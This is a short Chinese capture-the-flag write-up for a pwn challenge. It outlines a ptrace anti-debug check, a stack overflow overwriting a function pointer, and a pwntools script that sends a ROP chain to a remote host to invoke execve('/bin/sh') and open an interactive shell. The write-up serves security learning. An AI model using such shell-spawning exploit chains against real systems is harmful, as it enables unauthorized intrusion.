比较忙，不能详写了，说下思路

题目最大的难点应该是打印的那句话

Please run in docker!

还有这个

第二天下好安装下来发现运行程序还是没得输入的地方

傻傻的安装好环境，运行还是

Please run in docker!

不禁感慨作者有点阴险

然后拖进去仔细调仔细看发现应该是附加上才有输出，感觉像是作者发错程序了，ptrace那应该是等于0进入异常吧

栈溢出，然后覆盖后面得函数指针

然后执行syscall那个地方rdx,rcx都得等于0

所以执行两次就能满足条件

一句话就能搞定了

#!/usr/bin/env python2

from pwn import *
import sys
import os

host, port = "121.36.145.157",9999
local = 0

if local:

    p = process('./pwn1')
else:
    p = remote(host, port)


context.arch = 'amd64'
#t=input()
payload='/bin/sh\x00'+'A'*0x10+p64(0x4016CA)
payload=payload.ljust(0x78,'A')+p64(0x40185A)
payload=payload.ljust(0xa0,'A')
payload+=p64(0x6020C0)+p64(512)
payload+=p64(0x4017e3)+p64(0x401863)+p64(59)+p64(0x401861)+p64(0x6020C0)+p64(0x0)+p64(0x4017CC)+p64(0x4017e3)+p64(0x401863)+p64(59)+p64(0x401861)+p64(0x6020C0)+p64(0x0)+p64(0x4017CC)
payload=payload.ljust(512,'A')
p.send(payload)
p.interactive()

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)